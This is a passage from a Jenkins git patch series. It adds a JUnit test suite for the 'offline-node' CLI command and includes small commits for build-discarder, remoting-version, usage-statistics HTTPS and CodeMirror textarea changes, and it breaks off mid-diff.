CLI.disable-job.shortDescription=Disables a job CLI.enable-job.shortDescription=Enables a job CLI.disconnect-node.shortDescription=Disconnects from a node CLI.online-node.shortDescription=Resume using a node for performing builds, to cancel out the earlier "offline-node" command. -CLI.offline-node.shortDescription=Stop using a node for performing builds temporarily, until the next "online-node" command. ComputerSet.DisplayName=nodes diff --git a/core/src/main/resources/hudson/model/Messages_zh_TW.properties b/core/src/main/resources/hudson/model/Messages_zh_TW.properties index a5fb398930..011fdf5d31 100644 --- a/core/src/main/resources/hudson/model/Messages_zh_TW.properties +++ b/core/src/main/resources/hudson/model/Messages_zh_TW.properties @@ -80,7 +80,6 @@ CLI.disable-job.shortDescription=\u505c\u7528\u4f5c\u696d\u3002 CLI.enable-job.shortDescription=\u555f\u7528\u4f5c\u696d\u3002 CLI.disconnect-node.shortDescription=\u4e2d\u65b7\u8207\u6307\u5b9a\u7bc0\u9ede\u7684\u9023\u7dda\u3002 CLI.online-node.shortDescription=\u7e7c\u7e8c\u4f7f\u7528\u6307\u5b9a\u7bc0\u9ede\u4f86\u5efa\u7f6e\uff0c\u53d6\u6d88\u5148\u524d\u7684 "offline-node" \u6307\u4ee4\u3002 -CLI.offline-node.shortDescription=\u66ab\u6642\u4e0d\u4f7f\u7528\u6307\u5b9a\u7bc0\u9ede\u4f86\u5efa\u7f6e\uff0c\u76f4\u5230\u57f7\u884c "online-node" \u6307\u4ee4\u70ba\u6b62\u3002 CLI.wait-node-online.shortDescription=\u7b49\u5019\u6307\u5b9a\u7bc0\u9ede\u4e0a\u7dda\u3002 CLI.wait-node-offline.shortDescription=\u7b49\u5019\u6307\u5b9a\u7bc0\u9ede\u96e2\u7dda\u3002 diff --git a/test/src/test/java/hudson/cli/HelpCommandTest.java b/test/src/test/java/hudson/cli/HelpCommandTest.java index 26c2da6ccd..7ed7283dea 100644 --- a/test/src/test/java/hudson/cli/HelpCommandTest.java +++ b/test/src/test/java/hudson/cli/HelpCommandTest.java @@ -100,9 +100,9 @@ public class HelpCommandTest { } private void assertContainsUsageOfMethodCommand(String text) { - assertThat(text, containsString("offline-node NAME [-m VAL]")); + assertThat(text, containsString("offline-node NAME ... [-m VAL]")); assertThat(text, containsStrings("NAME", "Agent name, or empty string for master")); - assertThat(text, containsStrings("-m VAL", "Record the note about why you are disconnecting this node")); + assertThat(text, containsStrings("-m VAL", "Record the reason about why you are disconnecting this node")); } private static Matcher containsStrings(String... strings) { diff --git a/test/src/test/java/hudson/cli/OfflineNodeCommandTest.java b/test/src/test/java/hudson/cli/OfflineNodeCommandTest.java new file mode 100644 index 0000000000..a1623f853b --- /dev/null +++ b/test/src/test/java/hudson/cli/OfflineNodeCommandTest.java @@ -0,0 +1,482 @@ +/* + * The MIT License + * + * Copyright 2016 Red Hat, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +/** + * @author pjanouse + */ + +package hudson.cli; + +import hudson.model.Computer; +import hudson.model.FreeStyleBuild; +import hudson.model.FreeStyleProject; +import hudson.slaves.DumbSlave; +import hudson.slaves.OfflineCause; +import hudson.util.OneShotEvent; +import jenkins.model.Jenkins; +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.jvnet.hudson.test.JenkinsRule; + +import java.util.concurrent.Future; + +import static hudson.cli.CLICommandInvoker.Matcher.failedWith; +import static hudson.cli.CLICommandInvoker.Matcher.hasNoStandardOutput; +import static hudson.cli.CLICommandInvoker.Matcher.succeededSilently; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.containsString; +import static org.hamcrest.Matchers.equalTo; +import static org.hamcrest.Matchers.hasSize; +import static org.hamcrest.Matchers.instanceOf; +import static org.hamcrest.Matchers.not; + +public class OfflineNodeCommandTest { + + private CLICommandInvoker command; + + @Rule + public final JenkinsRule j = new JenkinsRule(); + + @Before + public void setUp() { + command = new CLICommandInvoker(j, "offline-node"); + } + + @Test + public void offlineNodeShouldFailWithoutComputerDisconnectPermission() throws Exception { + j.createSlave("aNode", "", null); + + final CLICommandInvoker.Result result = command + .authorizedTo(Jenkins.READ) + .invokeWithArgs("aNode"); + assertThat(result, failedWith(6)); + assertThat(result, hasNoStandardOutput()); + assertThat(result.stderr(), containsString("ERROR: user is missing the Agent/Disconnect permission")); + assertThat(result.stderr(), not(containsString("ERROR: Error occured while performing this command, see previous stderr output."))); + } + + @Test + public void offlineNodeShouldFailIfNodeDoesNotExist() throws Exception { + final CLICommandInvoker.Result result = command + .authorizedTo(Computer.DISCONNECT, Jenkins.READ) + .invokeWithArgs("never_created"); + assertThat(result, failedWith(3)); + assertThat(result, hasNoStandardOutput()); + assertThat(result.stderr(), containsString("ERROR: No such agent \"never_created\" exists.")); + assertThat(result.stderr(), not(containsString("ERROR: Error occured while performing this command, see previous stderr output."))); + } + + @Test + public void offlineNodeShouldSucceed() throws Exception { + DumbSlave slave = j.createSlave("aNode", "", null); + assertThat(slave.toComputer().getOfflineCause(), equalTo(null)); + + final CLICommandInvoker.Result result = command + .authorizedTo(Computer.DISCONNECT, Jenkins.READ) + .invokeWithArgs("aNode"); + assertThat(result, succeededSilently()); + assertThat(slave.toComputer().isOffline(), equalTo(true)); + assertThat(slave.toComputer().isTemporarilyOffline(), equalTo(true)); + assertThat(slave.toComputer().getOfflineCause(), instanceOf(OfflineCause.ByCLI.class)); + assertThat(((OfflineCause.ByCLI) slave.toComputer().getOfflineCause()).message, equalTo(null)); + } + + @Test + public void offlineNodeShouldSucceedOnOnlineNode() throws Exception { + DumbSlave slave = j.createSlave("aNode", "", null); + slave.toComputer().waitUntilOnline(); + assertThat(slave.toComputer().isOnline(), equalTo(true)); + assertThat(slave.toComputer().isTemporarilyOffline(), equalTo(false)); + assertThat(slave.toComputer().getOfflineCause(), equalTo(null)); + + final CLICommandInvoker.Result result = command + .authorizedTo(Computer.DISCONNECT, Jenkins.READ) + .invokeWithArgs("aNode"); + assertThat(result, succeededSilently()); + assertThat(slave.toComputer().isOffline(), equalTo(true)); + assertThat(slave.toComputer().isTemporarilyOffline(), equalTo(true)); + assertThat(slave.toComputer().getOfflineCause(), instanceOf(OfflineCause.ByCLI.class)); + assertThat(((OfflineCause.ByCLI) slave.toComputer().getOfflineCause()).message, equalTo(null)); + } + + @Test + public void offlineNodeShouldSucceedOnOfflineNode() throws Exception { + DumbSlave slave = j.createSlave("aNode", "", null); + slave.toComputer().setTemporarilyOffline(true, null); + assertThat(slave.toComputer().isOffline(), equalTo(true)); + assertThat(slave.toComputer().isTemporarilyOffline(), equalTo(true)); + assertThat(slave.toComputer().getOfflineCause(), equalTo(null)); + + final CLICommandInvoker.Result result = command + .authorizedTo(Computer.DISCONNECT, Jenkins.READ) + .invokeWithArgs("aNode"); + assertThat(result, succeededSilently()); + assertThat(slave.toComputer().isOffline(), equalTo(true)); + assertThat(slave.toComputer().isTemporarilyOffline(), equalTo(true)); + assertThat(slave.toComputer().getOfflineCause(), instanceOf(OfflineCause.ByCLI.class)); + assertThat(((OfflineCause.ByCLI) slave.toComputer().getOfflineCause()).message, equalTo(null)); + } + + @Test + public void offlineNodeShouldSucceedOnDisconnectedNode() throws Exception { + DumbSlave slave = j.createSlave("aNode", "", null); + slave.toComputer().waitUntilOnline(); + assertThat(slave.toComputer().isOnline(), equalTo(true)); + assertThat(slave.toComputer().getOfflineCause(), equalTo(null)); + slave.toComputer().disconnect(); + slave.toComputer().waitUntilOffline(); + assertThat(slave.toComputer().isOnline(), equalTo(false)); + assertThat(slave.toComputer().isOffline(), equalTo(true)); + assertThat(slave.toComputer().isTemporarilyOffline(), equalTo(false)); + + final CLICommandInvoker.Result result = command + .authorizedTo(Computer.DISCONNECT, Jenkins.READ) + .invokeWithArgs("aNode"); + assertThat(result, succeededSilently()); + assertThat(slave.toComputer().isOnline(), equalTo(false)); + assertThat(slave.toComputer().isOffline(), equalTo(true)); + assertThat(slave.toComputer().isTemporarilyOffline(), equalTo(true)); + assertThat(slave.toComputer().getOfflineCause(), instanceOf(OfflineCause.ByCLI.class)); + assertThat(((OfflineCause.ByCLI) slave.toComputer().getOfflineCause()).message, equalTo(null)); + } + + @Test + public void offlineNodeShouldSucceedWithCause() throws Exception { + DumbSlave slave = j.createSlave("aNode", "", null); + assertThat(slave.toComputer().getOfflineCause(), equalTo(null)); + + final CLICommandInvoker.Result result = command + .authorizedTo(Computer.DISCONNECT, Jenkins.READ) + .invokeWithArgs("aNode", "-m", "aCause"); + assertThat(result, succeededSilently()); + assertThat(slave.toComputer().isOffline(), equalTo(true)); + assertThat(slave.toComputer().isTemporarilyOffline(), equalTo(true)); + assertThat(slave.toComputer().getOfflineCause(), instanceOf(OfflineCause.ByCLI.class)); + assertThat(((OfflineCause.ByCLI) slave.toComputer().getOfflineCause()).message, equalTo("aCause")); + } + + @Test + public void offlineNodeShouldSucceedOnOnlineNodeWithCause() throws Exception { + DumbSlave slave = j.createSlave("aNode", "", null); + slave.toComputer().waitUntilOnline(); + assertThat(slave.toComputer().isOnline(), equalTo(true)); + assertThat(slave.toComputer().isTemporarilyOffline(), equalTo(false)); + assertThat(slave.toComputer().getOfflineCause(), equalTo(null)); + + final CLICommandInvoker.Result result = command + .authorizedTo(Computer.DISCONNECT, Jenkins.READ) + .invokeWithArgs("aNode", "-m", "aCause"); + assertThat(result, succeededSilently()); + assertThat(slave.toComputer().isOffline(), equalTo(true)); + assertThat(slave.toComputer().isTemporarilyOffline(), equalTo(true)); + assertThat(slave.toComputer().getOfflineCause(), instanceOf(OfflineCause.ByCLI.class)); + assertThat(((OfflineCause.ByCLI) slave.toComputer().getOfflineCause()).message, equalTo("aCause")); + } + + @Test + public void offlineNodeShouldSucceedOnOfflineNodeWithCause() throws Exception { + DumbSlave slave = j.createSlave("aNode", "", null); + slave.toComputer().setTemporarilyOffline(true, null); + assertThat(slave.toComputer().isOffline(), equalTo(true)); + assertThat(slave.toComputer().isTemporarilyOffline(), equalTo(true)); + assertThat(slave.toComputer().getOfflineCause(), equalTo(null)); + + final CLICommandInvoker.Result result = command + .authorizedTo(Computer.DISCONNECT, Jenkins.READ) + .invokeWithArgs("aNode", "-m", "aCause"); + assertThat(result, succeededSilently()); + assertThat(slave.toComputer().isOffline(), equalTo(true)); + assertThat(slave.toComputer().isTemporarilyOffline(), equalTo(true)); + assertThat(slave.toComputer().getOfflineCause(), instanceOf(OfflineCause.ByCLI.class)); + assertThat(((OfflineCause.ByCLI) slave.toComputer().getOfflineCause()).message, equalTo("aCause")); + } + + @Test + public void offlineNodeShouldSucceedOnDisconnectedNodeWithCause() throws Exception { + DumbSlave slave = j.createSlave("aNode", "", null); + slave.toComputer().waitUntilOnline(); + assertThat(slave.toComputer().isOnline(), equalTo(true)); + assertThat(slave.toComputer().getOfflineCause(), equalTo(null)); + slave.toComputer().disconnect(); + slave.toComputer().waitUntilOffline(); + assertThat(slave.toComputer().isOnline(), equalTo(false)); + assertThat(slave.toComputer().isOffline(), equalTo(true)); + assertThat(slave.toComputer().isTemporarilyOffline(), equalTo(false)); + + final CLICommandInvoker.Result result = command + .authorizedTo(Computer.DISCONNECT, Jenkins.READ) + .invokeWithArgs("aNode", "-m", "aCause"); + assertThat(result, succeededSilently()); + assertThat(slave.toComputer().isOnline(), equalTo(false)); + assertThat(slave.toComputer().isOffline(), equalTo(true)); + assertThat(slave.toComputer().isTemporarilyOffline(), equalTo(true)); + assertThat(slave.toComputer().getOfflineCause(), instanceOf(OfflineCause.ByCLI.class)); + assertThat(((OfflineCause.ByCLI) slave.toComputer().getOfflineCause()).message, equalTo("aCause")); + } + + @Test + public void offlineNodeShouldSucceedOnBuildingNode() throws Exception { + final OneShotEvent finish = new OneShotEvent(); + DumbSlave slave = j.createSlave("aNode", "", null); + slave.toComputer().waitUntilOnline(); + FreeStyleProject project = j.createFreeStyleProject("aProject"); + project.setAssignedNode(slave); + final Future build = OnlineNodeCommandTest.startBlockingAndFinishingBuild(project, finish); + assertThat(((FreeStyleProject) j.jenkins.getItem("aProject")).getBuilds(), hasSize(1)); + + final CLICommandInvoker.Result result = command + .authorizedTo(Computer.DISCONNECT, Jenkins.READ) + .invokeWithArgs("aNode"); + assertThat(result, succeededSilently()); + slave.toComputer().waitUntilOffline(); + assertThat(slave.toComputer().isOffline(), equalTo(true)); + assertThat(slave.toComputer().isTemporarilyOffline(), equalTo(true)); + assertThat(slave.toComputer().getOfflineCause(), instanceOf(OfflineCause.ByCLI.class)); + assertThat(((OfflineCause.ByCLI) slave.toComputer().getOfflineCause()).message, equalTo(null)); + assertThat(((FreeStyleProject) j.jenkins.getItem("aProject")).getBuilds(), hasSize(1)); + assertThat(project.isBuilding(), equalTo(true)); + + finish.signal(); + build.get(); + assertThat(((FreeStyleProject) j.jenkins.getItem("aProject")).getBuilds(), hasSize(1)); + assertThat(project.isBuilding(), equalTo(false)); + j.assertBuildStatusSuccess(build); + } + + @Test + public void offlineNodeShouldSucceedOnBuildingNodeWithCause() throws Exception { + final OneShotEvent finish = new OneShotEvent(); + DumbSlave slave = j.createSlave("aNode", "", null); + slave.toComputer().waitUntilOnline(); + FreeStyleProject project = j.createFreeStyleProject("aProject"); + project.setAssignedNode(slave); + final Future build = OnlineNodeCommandTest.startBlockingAndFinishingBuild(project, finish); + assertThat(((FreeStyleProject) j.jenkins.getItem("aProject")).getBuilds(), hasSize(1)); + + final CLICommandInvoker.Result result = command + .authorizedTo(Computer.DISCONNECT, Jenkins.READ) + .invokeWithArgs("aNode", "-m", "aCause"); + assertThat(result, succeededSilently()); + slave.toComputer().waitUntilOffline(); + assertThat(slave.toComputer().isOffline(), equalTo(true)); + assertThat(slave.toComputer().isTemporarilyOffline(), equalTo(true)); + assertThat(slave.toComputer().getOfflineCause(), instanceOf(OfflineCause.ByCLI.class)); + assertThat(((OfflineCause.ByCLI) slave.toComputer().getOfflineCause()).message, equalTo("aCause")); + assertThat(((FreeStyleProject) j.jenkins.getItem("aProject")).getBuilds(), hasSize(1)); + assertThat(project.isBuilding(), equalTo(true)); + + finish.signal(); + build.get(); + assertThat(((FreeStyleProject) j.jenkins.getItem("aProject")).getBuilds(), hasSize(1)); + assertThat(project.isBuilding(), equalTo(false)); + j.assertBuildStatusSuccess(build); + } + + @Test + public void offlineNodeManyShouldSucceed() throws Exception { + DumbSlave slave1 = j.createSlave("aNode1", "", null); + DumbSlave slave2 = j.createSlave("aNode2", "", null); + DumbSlave slave3 = j.createSlave("aNode3", "", null); + slave1.toComputer().waitUntilOnline(); + assertThat(slave1.toComputer().isOnline(), equalTo(true)); + assertThat(slave1.toComputer().getOfflineCause(), equalTo(null)); + slave2.toComputer().waitUntilOnline(); + assertThat(slave2.toComputer().isOnline(), equalTo(true)); + assertThat(slave2.toComputer().getOfflineCause(), equalTo(null)); + slave3.toComputer().waitUntilOnline(); + assertThat(slave3.toComputer().isOnline(), equalTo(true)); + assertThat(slave3.toComputer().getOfflineCause(), equalTo(null)); + + final CLICommandInvoker.Result result = command + .authorizedTo(Computer.DISCONNECT, Jenkins.READ) + .invokeWithArgs("aNode1", "aNode2", "aNode3"); + assertThat(result, succeededSilently()); + assertThat(slave1.toComputer().isOffline(), equalTo(true)); + assertThat(slave1.toComputer().getOfflineCause(), instanceOf(OfflineCause.ByCLI.class)); + assertThat(((OfflineCause.ByCLI) slave1.toComputer().getOfflineCause()).message, equalTo(null)); + assertThat(slave2.toComputer().isOffline(), equalTo(true)); + assertThat(slave2.toComputer().getOfflineCause(), instanceOf(OfflineCause.ByCLI.class)); + assertThat(((OfflineCause.ByCLI) slave2.toComputer().getOfflineCause()).message, equalTo(null)); + assertThat(slave3.toComputer().isOffline(), equalTo(true)); + assertThat(slave3.toComputer().getOfflineCause(), instanceOf(OfflineCause.ByCLI.class)); + assertThat(((OfflineCause.ByCLI) slave3.toComputer().getOfflineCause()).message, equalTo(null)); + } + + @Test + public void offlineNodeManyShouldSucceedWithCause() throws Exception { + DumbSlave slave1 = j.createSlave("aNode1", "", null); + DumbSlave slave2 = j.createSlave("aNode2", "", null); + DumbSlave slave3 = j.createSlave("aNode3", "", null); + slave1.toComputer().waitUntilOnline(); + assertThat(slave1.toComputer().isOnline(), equalTo(true)); + assertThat(slave1.toComputer().getOfflineCause(), equalTo(null)); + slave2.toComputer().waitUntilOnline(); + assertThat(slave2.toComputer().isOnline(), equalTo(true)); + assertThat(slave2.toComputer().getOfflineCause(), equalTo(null)); + slave3.toComputer().waitUntilOnline(); + assertThat(slave3.toComputer().isOnline(), equalTo(true)); + assertThat(slave3.toComputer().getOfflineCause(), equalTo(null)); + + final CLICommandInvoker.Result result = command + .authorizedTo(Computer.DISCONNECT, Jenkins.READ) + .invokeWithArgs("aNode1", "aNode2", "aNode3", "-m", "aCause"); + assertThat(result, succeededSilently()); + assertThat(slave1.toComputer().isOffline(), equalTo(true)); + assertThat(slave1.toComputer().getOfflineCause(), instanceOf(OfflineCause.ByCLI.class)); + assertThat(((OfflineCause.ByCLI) slave1.toComputer().getOfflineCause()).message, equalTo("aCause")); + assertThat(slave2.toComputer().isOffline(), equalTo(true)); + assertThat(slave2.toComputer().getOfflineCause(), instanceOf(OfflineCause.ByCLI.class)); + assertThat(((OfflineCause.ByCLI) slave2.toComputer().getOfflineCause()).message, equalTo("aCause")); + assertThat(slave3.toComputer().isOffline(), equalTo(true)); + assertThat(slave3.toComputer().getOfflineCause(), instanceOf(OfflineCause.ByCLI.class)); + assertThat(((OfflineCause.ByCLI) slave3.toComputer().getOfflineCause()).message, equalTo("aCause")); + } + + @Test + public void offlineNodeManyShouldFailIfANodeDoesNotExist() throws Exception { + DumbSlave slave1 = j.createSlave("aNode1", "", null); + DumbSlave slave2 = j.createSlave("aNode2", "", null); + slave1.toComputer().waitUntilOnline(); + assertThat(slave1.toComputer().isOnline(), equalTo(true)); + assertThat(slave1.toComputer().getOfflineCause(), equalTo(null)); + slave2.toComputer().waitUntilOnline(); + assertThat(slave2.toComputer().isOnline(), equalTo(true)); + assertThat(slave2.toComputer().getOfflineCause(), equalTo(null)); + + final CLICommandInvoker.Result result = command + .authorizedTo(Computer.DISCONNECT, Jenkins.READ) + .invokeWithArgs("aNode1", "aNode2", "never_created"); + assertThat(result, failedWith(5)); + assertThat(result, hasNoStandardOutput()); + assertThat(result.stderr(), containsString("never_created: No such agent \"never_created\" exists. Did you mean \"aNode1\"?")); + assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(slave1.toComputer().isOffline(), equalTo(true)); + assertThat(slave1.toComputer().getOfflineCause(), instanceOf(OfflineCause.ByCLI.class)); + assertThat(((OfflineCause.ByCLI) slave1.toComputer().getOfflineCause()).message, equalTo(null)); + assertThat(slave2.toComputer().isOffline(), equalTo(true)); + assertThat(slave2.toComputer().getOfflineCause(), instanceOf(OfflineCause.ByCLI.class)); + assertThat(((OfflineCause.ByCLI) slave2.toComputer().getOfflineCause()).message, equalTo(null)); + } + + @Test + public void offlineNodeManyShouldFailIfANodeDoesNotExistWithCause() throws Exception { + DumbSlave slave1 = j.createSlave("aNode1", "", null); + DumbSlave slave2 = j.createSlave("aNode2", "", null); + slave1.toComputer().waitUntilOnline(); + assertThat(slave1.toComputer().isOnline(), equalTo(true)); + assertThat(slave1.toComputer().getOfflineCause(), equalTo(null)); + slave2.toComputer().waitUntilOnline(); + assertThat(slave2.toComputer().isOnline(), equalTo(true)); + assertThat(slave2.toComputer().getOfflineCause(), equalTo(null)); + + final CLICommandInvoker.Result result = command + .authorizedTo(Computer.DISCONNECT, Jenkins.READ) + .invokeWithArgs("aNode1", "aNode2", "never_created", "-m", "aCause"); + assertThat(result, failedWith(5)); + assertThat(result, hasNoStandardOutput()); + assertThat(result.stderr(), containsString("never_created: No such agent \"never_created\" exists. Did you mean \"aNode1\"?")); + assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(slave1.toComputer().isOffline(), equalTo(true)); + assertThat(slave1.toComputer().getOfflineCause(), instanceOf(OfflineCause.ByCLI.class)); + assertThat(((OfflineCause.ByCLI) slave1.toComputer().getOfflineCause()).message, equalTo("aCause")); + assertThat(slave2.toComputer().isOffline(), equalTo(true)); + assertThat(slave2.toComputer().getOfflineCause(), instanceOf(OfflineCause.ByCLI.class)); + assertThat(((OfflineCause.ByCLI) slave2.toComputer().getOfflineCause()).message, equalTo("aCause")); + } + + @Test + public void offlineNodeManyShouldSucceedEvenANodeIsSpecifiedTwice() throws Exception { + DumbSlave slave1 = j.createSlave("aNode1", "", null); + DumbSlave slave2 = j.createSlave("aNode2", "", null); + slave1.toComputer().waitUntilOnline(); + assertThat(slave1.toComputer().isOnline(), equalTo(true)); + assertThat(slave1.toComputer().getOfflineCause(), equalTo(null)); + slave2.toComputer().waitUntilOnline(); + assertThat(slave2.toComputer().isOnline(), equalTo(true)); + assertThat(slave2.toComputer().getOfflineCause(), equalTo(null)); + + final CLICommandInvoker.Result result = command + .authorizedTo(Computer.DISCONNECT, Jenkins.READ) + .invokeWithArgs("aNode1", "aNode2", "aNode1"); + assertThat(result, succeededSilently()); + assertThat(slave1.toComputer().isOffline(), equalTo(true)); + assertThat(slave1.toComputer().getOfflineCause(), instanceOf(OfflineCause.ByCLI.class)); + assertThat(((OfflineCause.ByCLI) slave1.toComputer().getOfflineCause()).message, equalTo(null)); + assertThat(slave2.toComputer().isOffline(), equalTo(true)); + assertThat(slave2.toComputer().getOfflineCause(), instanceOf(OfflineCause.ByCLI.class)); + assertThat(((OfflineCause.ByCLI) slave2.toComputer().getOfflineCause()).message, equalTo(null)); + } + + @Test + public void offlineNodeManyShouldSucceedEvenANodeIsSpecifiedTwiceWithCause() throws Exception { + DumbSlave slave1 = j.createSlave("aNode1", "", null); + DumbSlave slave2 = j.createSlave("aNode2", "", null); + slave1.toComputer().waitUntilOnline(); + assertThat(slave1.toComputer().isOnline(), equalTo(true)); + assertThat(slave1.toComputer().getOfflineCause(), equalTo(null)); + slave2.toComputer().waitUntilOnline(); + assertThat(slave2.toComputer().isOnline(), equalTo(true)); + assertThat(slave2.toComputer().getOfflineCause(), equalTo(null)); + + final CLICommandInvoker.Result result = command + .authorizedTo(Computer.DISCONNECT, Jenkins.READ) + .invokeWithArgs("aNode1", "aNode2", "aNode1", "-m", "aCause"); + assertThat(result, succeededSilently()); + assertThat(slave1.toComputer().isOffline(), equalTo(true)); + assertThat(slave1.toComputer().getOfflineCause(), instanceOf(OfflineCause.ByCLI.class)); + assertThat(((OfflineCause.ByCLI) slave1.toComputer().getOfflineCause()).message, equalTo("aCause")); + assertThat(slave2.toComputer().isOffline(), equalTo(true)); + assertThat(slave2.toComputer().getOfflineCause(), instanceOf(OfflineCause.ByCLI.class)); + assertThat(((OfflineCause.ByCLI) slave2.toComputer().getOfflineCause()).message, equalTo("aCause")); + } + + @Test + public void offlineNodeShouldSucceedOnMaster() throws Exception { + final Computer masterComputer = Jenkins.getActiveInstance().getComputer(""); + + final CLICommandInvoker.Result result = command + .authorizedTo(Computer.DISCONNECT, Jenkins.READ) + .invokeWithArgs(""); + assertThat(result, succeededSilently()); + assertThat(masterComputer.isOffline(), equalTo(true)); + assertThat(masterComputer.isTemporarilyOffline(), equalTo(true)); + assertThat(masterComputer.getOfflineCause(), instanceOf(OfflineCause.ByCLI.class)); + assertThat(((OfflineCause.ByCLI) masterComputer.getOfflineCause()).message, equalTo(null)); + } + + @Test + public void offlineNodeShouldSucceedOnMasterWithCause() throws Exception { + final Computer masterComputer = Jenkins.getActiveInstance().getComputer(""); + + final CLICommandInvoker.Result result = command + .authorizedTo(Computer.DISCONNECT, Jenkins.READ) + .invokeWithArgs("", "-m", "aCause"); + assertThat(result, succeededSilently()); + assertThat(masterComputer.isOffline(), equalTo(true)); + assertThat(masterComputer.isTemporarilyOffline(), equalTo(true)); + assertThat(masterComputer.getOfflineCause(), instanceOf(OfflineCause.ByCLI.class)); + assertThat(((OfflineCause.ByCLI) masterComputer.getOfflineCause()).message, equalTo("aCause")); + } +} -- GitLab From 7000cd2c42b565040921a08ad8ca35841a9dd6db Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Mon, 11 Jul 2016 20:40:26 +0200 Subject: [PATCH 099/811] [FIX JENKINS-26438] Allow to keep forever with custom build discarder (#2443) (cherry picked from commit 7acfbec4abac193add0192dba566a10eeb3d8ea6) --- core/src/main/resources/hudson/model/Run/logKeep.jelly | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/resources/hudson/model/Run/logKeep.jelly b/core/src/main/resources/hudson/model/Run/logKeep.jelly index fe9545e756..10175e3aa4 100644 --- a/core/src/main/resources/hudson/model/Run/logKeep.jelly +++ b/core/src/main/resources/hudson/model/Run/logKeep.jelly @@ -27,7 +27,7 @@ THE SOFTWARE. --> - + -- GitLab From 3da25a01e352e03ec825be13c3667f995f298ad9 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 11 Jun 2016 16:06:40 +0200 Subject: [PATCH 100/811] Update remoting to 2.60 (#2403) Changes summary: Fixed issues: * [JENKINS-22722](https://issues.jenkins-ci.org/browse/JENKINS-22722) - Make the channel reader tolerant against Socket timeouts. (https://github.com/jenkinsci/remoting/pull/80) * [JENKINS-32326](https://issues.jenkins-ci.org/browse/JENKINS-32326) - Support no_proxy environment variable. (https://github.com/jenkinsci/remoting/pull/84) * [JENKINS-35190](https://issues.jenkins-ci.org/browse/JENKINS-35190) - Do not invoke PingFailureAnalyzer for agent=>master ping failures. (https://github.com/jenkinsci/remoting/pull/85) * [JENKINS-31256](https://issues.jenkins-ci.org/browse/JENKINS-31256) - hudson.Remoting.Engine#waitForServerToBack now uses credentials for connection. (https://github.com/jenkinsci/remoting/pull/87) * [JENKINS-35494](https://issues.jenkins-ci.org/browse/JENKINS-35494) - Fix issues in file management in hudson.remoting.Launcher (main executable class). (https://github.com/jenkinsci/remoting/pull/88) Enhancements: * Ensure a message is logged if remoting fails to override the default ClassFilter. (https://github.com/jenkinsci/remoting/pull/80) (cherry picked from commit c718516adfddeb10cbf616ce37c619cc6bbafd53) --- pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pom.xml b/pom.xml index 55631f2b1d..3f4e45d55e 100644 --- a/pom.xml +++ b/pom.xml @@ -179,7 +179,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 2.59 + 2.60 -- GitLab From 2294259b2cb2f778e1a82042da88b5709e10e70e Mon Sep 17 00:00:00 2001 From: "R. Tyler Croy" Date: Fri, 10 Jun 2016 15:59:40 -0700 Subject: [PATCH 101/811] [FIXED JENKINS-35641] - Always send usage statistics over HTTPs to the new usage.jenkins.io hostname(#2398) References INFRA-559 (cherry picked from commit 01db7d36c83674dcf8fdfea9ba4e8df6a6d17a54) --- .../main/resources/hudson/model/UsageStatistics/footer.jelly | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/resources/hudson/model/UsageStatistics/footer.jelly b/core/src/main/resources/hudson/model/UsageStatistics/footer.jelly index c1c8abcc9f..b532b3d746 100644 --- a/core/src/main/resources/hudson/model/UsageStatistics/footer.jelly +++ b/core/src/main/resources/hudson/model/UsageStatistics/footer.jelly @@ -34,7 +34,7 @@ THE SOFTWARE. -- GitLab From 694cb1efe7cf9434be34127d9fb9247a44409c9a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Dar=C3=ADo=20Villadiego?= Date: Wed, 29 Jun 2016 12:25:31 +0200 Subject: [PATCH 102/811] [JENKINS-32027] Avoiding to refresh codemirror through the layoutUpdateCallback (#2390) (cherry picked from commit 1e170d43ed097db6146dbdd95acc556fa6d79794) --- .../main/resources/lib/form/textarea/textarea.js | 16 +++++----------- 1 file changed, 5 insertions(+), 11 deletions(-) diff --git a/core/src/main/resources/lib/form/textarea/textarea.js b/core/src/main/resources/lib/form/textarea/textarea.js index f1c1b2238f..d1f89de8f2 100644 --- a/core/src/main/resources/lib/form/textarea/textarea.js +++ b/core/src/main/resources/lib/form/textarea/textarea.js @@ -2,13 +2,13 @@ Behaviour.specify("TEXTAREA.codemirror", 'textarea', 0, function(e) { //ensure, that textarea is visible, when obtaining its height, see JENKINS-25455 function getTextareaHeight() { var p = e.parentNode.parentNode; //first parent is CodeMirror div, second is actual element which needs to be visible - var display = p.style.display; + var display = p.style.display; p.style.display = ""; var h = e.clientHeight; p.style.display = display; return h; } - + var h = e.clientHeight || getTextareaHeight(); var config = e.getAttribute("codemirror-config"); config += (config ? ", " : " ") + "onBlur: function(editor){editor.save()}"; @@ -27,16 +27,10 @@ Behaviour.specify("TEXTAREA.codemirror", 'textarea', 0, function(e) { // the form needs to be populated before the "Apply" button if(e.up('form')) { // Protect against undefined element - Element.on(e.up('form'),"jenkins:apply", function() { - e.value = codemirror.getValue() - }) - } - - //refresh CM when there are some 